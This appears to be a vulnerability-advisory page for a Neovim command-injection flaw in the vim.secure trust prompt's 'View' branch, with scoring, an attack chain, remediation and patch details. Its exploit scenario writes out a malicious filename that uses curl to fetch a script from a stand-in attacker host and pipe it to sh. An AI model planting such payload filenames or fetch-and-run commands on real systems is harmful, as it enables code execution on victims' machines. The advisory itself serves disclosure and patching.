Skip to main content

Neovim CVE-2026-11487

| EUVDEUVD-2026-35018 LOW
Command Injection (CWE-77)
2026-06-08 VulDB GHSA-6869-x4fx-m53f
1.9
CVSS 4.0 · Vendor: VulDB
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Attacker writes maliciously-named file with `|` to shared directory
  2. Delivery
    Victim opens Neovim in affected directory
  3. Exploit
    `vim.secure.read()` prompts user with trust dialog
  4. Install
    Victim selects 'View' option
  5. C2
    Unsanitized fullpath concatenated into `vim.cmd('sview ...')`
  6. Execute
    Pipe separator causes injected Ex command to execute
  7. Impact
    Arbitrary Vim commands (and optionally shell commands via `:!`) run as victim user

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Command injection prevention
MITRE ATT&CK

1 technique across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires the attacker to have write access to a filesystem path that will be encountered by the victim's Neovim session - for example, a shared project directory, a repository the victim clones, or any path from which Neovim triggers vim.secure.read() (such as directories containing .nvimrc or .exrc files). The victim must be running Neovim up to version 0.12.2 on Linux or macOS - Windows is not exploitable because its filesystem forbids | in filenames. The vulnerable code path is triggered only when the user selects the 'View' action in the vim.secure prompt; 'Allow' or 'Deny' selections do not pass through the vulnerable sview branch. CVSS PR:L confirms low (standard local user) privileges are sufficient for the attacker. The injection payload requires Vim Ex command separator characters (primarily |) to be embeddable in the filename, which is OS-permitted on Linux and macOS. Direct OS shell command execution requires the injected Vim command to itself invoke :! or equivalent; bare Vim command injection (e.g., :let) is confirmed by the PoC.

Impact

The CVSS 3.1 base score of 5.3 (Medium) with vector AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L accurately captures a locally-exploitable, low-complexity attack requiring only standard user privileges with bounded CIA impact. Temporal metrics E:P (proof-of-concept exploit exists), RL:O (official fix available), and RC:C (confirmed) align with observed intelligence. EPSS data was not provided in the input - exploitation probability cannot be quantified. The CVE is not in CISA KEV, so active threat-actor targeting is unconfirmed at time of analysis. Real-world risk is most relevant on developer workstations running Linux or macOS: Neovim's user base routinely opens untrusted or shared project directories where malicious filenames could be planted. The CVSS UI:N designation may slightly overstate attacker autonomy - the victim must actively choose the 'View' option in a security prompt, representing at minimum implicit interaction; this is worth verifying against vendor classification. Critically, Windows systems are entirely unaffected because the Windows filesystem prohibits | characters in filenames, meaning the attack surface is limited to POSIX platforms. While the immediate injection surface is Vim Ex commands rather than direct OS shell execution, injected Vim commands can call arbitrary shell processes via :!, so impact can exceed the Low/Low/Low CVSS CIA ratings in practice depending on what the attacker injects.

Exploit ScenarioDerived

An attacker with local user-level filesystem access creates a file named legitimate-project-config|!curl attacker.com/shell.sh|sh (or a simpler Vim command variant such as Xfile|let g:pwned=1) in a shared project directory or repository that a developer is likely to open with Neovim. When the developer opens Neovim in that directory and the vim.secure.read() prompt appears asking whether to trust the file, selecting 'View' - the ostensibly safe option - causes the unsanitized filename to be injected into vim.cmd('sview ...'), executing the appended Vim or shell commands with the developer's privileges. A proof-of-concept demonstrating this exact behavior is publicly documented in GitHub issue #39914.

Monitor Track and reassess. Why: LOW severity (CVSS 0.1-3.9).
Patch available 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 08, 2026

Command injection in Neovim up to version 0.12.2 allows a local attacker with low privileges to execute arbitrary Vim commands by crafting a file with a malicious name containing pipe (|) or other Vim Ex command separators. The vulnerable code path is the M.read function in runtime/lua/vim/secure.lua, which concatenates an unsanitized file path directly into a vim.cmd('sview ...') call when a user selects the 'View' action in Neovim's security trust prompt. This CVE is not listed in CISA KEV, indicating no confirmed widespread active exploitation; however, a publicly available proof-of-concept exploit exists (GitHub issue #39914) and an official patch has been released (commit f83e0dcaf8cf18de94828341b0a1a61a86c75baf via PR #39918).

RemediationAI

The primary remediation is to apply the upstream patch, which is available as commit f83e0dcaf8cf18de94828341b0a1a61a86c75baf merged via PR #39918 (https://github.com/neovim/neovim/pull/39918). The patch replaces unsafe string concatenation with vim.fn.fnameescape() in the 'View' branch of M.read. Upstream fix availability is confirmed via the merged PR and commit; however, a specific tagged release version incorporating this fix was not independently confirmed from the provided data - users should verify their installed Neovim build includes this commit hash or upgrade to any release published after the commit date. As a compensating control before patching, users should avoid selecting the 'View' option when vim.secure.read() prompts them about files in untrusted or shared directories, opting for 'Deny' instead; the trade-off is losing the safe-preview workflow. Setting set noexrc in the global Neovim config disables automatic loading of project-local config files, reducing exposure to the code path that invokes vim.secure.read(), at the cost of disabling legitimate project-local configuration. Restricting Neovim use to trusted directories via wrapper scripts or filesystem permissions also limits attacker ability to plant malicious filenames.

Affected VersionsENISA

Neovim 0.12.2
Neovim 0.12.0
Neovim 0.12.1

Affected Packages

euvd neovim no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability resides in runtime/lua/vim/secure.lua within the M.read function, which is the backend for Neovim's trust-sandbox mechanism - the system that prompts users to allow, deny, or view potentially executable config files such as .nvimrc and .exrc. When the user selects 'View', the pre-patch code constructed a Vim Ex command by direct string concatenation: vim.cmd('sview ' .. fullpath). Because fullpath was not passed through vim.fn.fnameescape(), any filename containing Vim command metacharacters - most critically the pipe |, which is the Vim Ex command separator - would cause the editor to parse and execute the injected token as a second Ex command. The fix replaces the concatenation with vim.cmd(('sview %s'):format(vim.fn.fnameescape(fullpath))), applying proper escaping before command construction. CWE-77 (Improper Neutralization of Special Elements Used in a Command) precisely describes this root cause: externally-controlled input incorporated into a command string without neutralizing command-separator metacharacters. The CPE cpe:2.3:a:n/a:neovim:*:*:*:*:*:*:*:* covers the affected product range.

Know when Neovim gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulDB) PRIMARY 1.9 LOW
CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P

Primary rating from Vendor (VulDB) · only source for this CVE.

CVSS VectorVendor: VulDB

Attack Vector
Local
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
None
Vulnerable system: Confidentiality
Low
Vulnerable system: Integrity
Low
Vulnerable system: Availability
Low
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

2
Severity Changed
Jun 08, 2026 - 05:22 NVD
MEDIUM LOW
CVSS changed
Jun 08, 2026 - 05:22 NVD
5.3 (MEDIUM) 1.9 (LOW)

DescriptionCVE.org

A flaw has been found in Neovim up to 0.12.2. Affected by this issue is the function M.read of the file runtime/lua/vim/secure.lua of the component View Branch. Executing a manipulation of the argument path can lead to command injection. It is possible to launch the attack on the local host. The exploit has been published and may be used. This patch is called f83e0dcaf8cf18de94828341b0a1a61a86c75baf. A patch should be applied to remediate this issue.

Threat Intelligence Overview

EPSS Score
0.2%
Top 61% exploitable
Exploit
POC
Public exploit code exists
Social Media
1
Sightings
Data Quality
8 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment CIRCL GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity LOW
CISA KEV No
Public POC Yes
EPSS 0.2%
Patch available Yes
Active threat No
Deciding rule
LOW severity (CVSS 0.1-3.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Defer
Exploitation
Poc
System Exposure· derived
Small
Automatable
No
Human Impact· derived
Low
Technical Impact
Partial

Priority Score

30
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +10
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy